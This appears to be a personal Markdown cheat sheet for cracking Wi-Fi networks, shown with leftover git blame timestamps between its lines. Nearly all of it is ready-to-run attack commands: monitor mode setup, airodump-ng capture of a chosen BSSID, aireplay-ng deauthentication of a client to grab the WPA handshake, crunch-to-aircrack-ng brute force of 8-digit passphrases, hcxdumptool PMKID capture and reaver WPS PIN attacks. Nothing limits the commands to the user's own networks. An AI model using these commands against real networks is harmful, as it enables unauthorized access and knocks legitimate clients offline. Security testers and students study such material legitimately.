2021-02-20 05:36:21 +00:00
|
|
|
## Monitor mode
|
2020-10-27 06:39:08 +00:00
|
|
|
For my RTL8188EUS:
|
|
|
|
|
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# ip link set wlanX down
|
|
|
|
|
# iw dev wlanX set type monitor
|
2020-10-27 06:39:08 +00:00
|
|
|
```
|
|
|
|
|
|
2021-02-20 05:36:21 +00:00
|
|
|
## Scan networks
|
2020-10-27 06:39:08 +00:00
|
|
|
|
|
|
|
|
All channels:
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# airodump-ng wlanX
|
2020-10-27 06:39:08 +00:00
|
|
|
```
|
|
|
|
|
Specific channel:
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# airodump-ng -c 6 wlanX
|
2020-10-27 06:39:08 +00:00
|
|
|
```
|
|
|
|
|
|
2021-02-20 05:36:21 +00:00
|
|
|
## Save a capture of chosen BSSID
|
2020-10-27 06:39:08 +00:00
|
|
|
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# airodump-ng -c 6 --bssid 00:23:B1:82:08:xx -w <filename> wlanX
|
2020-10-27 06:39:08 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
You need to wait for a client to connect, or to deauth it and get the 4-way handshake.
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# aireplay-ng -0 1 -a 00:23:B1:82:0C:xx -c D0:37:45:2F:52:xx wlanX
|
2020-10-27 06:39:08 +00:00
|
|
|
```
|
|
|
|
|
`-a` is access point
|
|
|
|
|
`-c` is client
|
|
|
|
|
|
|
|
|
|
Then you should have an EAPOL/WPA handshake.
|
|
|
|
|
|
2021-02-20 05:36:21 +00:00
|
|
|
## Crack WPA passphrase
|
2020-10-27 06:39:08 +00:00
|
|
|
|
2021-02-20 05:36:21 +00:00
|
|
|
### For a 8 digits scheme
|
2020-10-27 06:39:08 +00:00
|
|
|
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
$ crunch 8 8 0123456789 -s 00000000 | aircrack-ng -w - -b 00:23:B1:82:08:xx <filename>.cap
|
2020-10-27 07:09:00 +00:00
|
|
|
```
|
|
|
|
|
|
2021-02-20 05:36:21 +00:00
|
|
|
## Wireshark
|
2020-10-27 07:09:00 +00:00
|
|
|
|
2020-10-27 11:53:19 +00:00
|
|
|
PSK Generator: <https://www.wireshark.org/tools/wpa-psk.html>
|
|
|
|
|
|
|
|
|
|
## PMKID method
|
|
|
|
|
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
$ hcxdumptool -i wlanX -o PMKID --enable_status=1
|
2020-10-27 11:53:19 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
TODO...
|
|
|
|
|
|
|
|
|
|
## WPS method
|
|
|
|
|
|
|
|
|
|
AP must have WPS enabled with a PIN. Not PBC, push button.
|
|
|
|
|
|
2021-02-20 06:06:15 +00:00
|
|
|
```console
|
|
|
|
|
# reaver -i wlanX -b 00:23:B1:82:84:xx
|
2020-10-27 23:48:30 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Resources
|
|
|
|
|
|
|
|
|
|
<https://github.com/ZerBea/hcxdumptool>
|
|
|
|
|
<https://github.com/ZerBea/hcxtools>
|
2021-02-20 05:36:21 +00:00
|
|
|
<https://wpa-sec.stanev.org/>
|
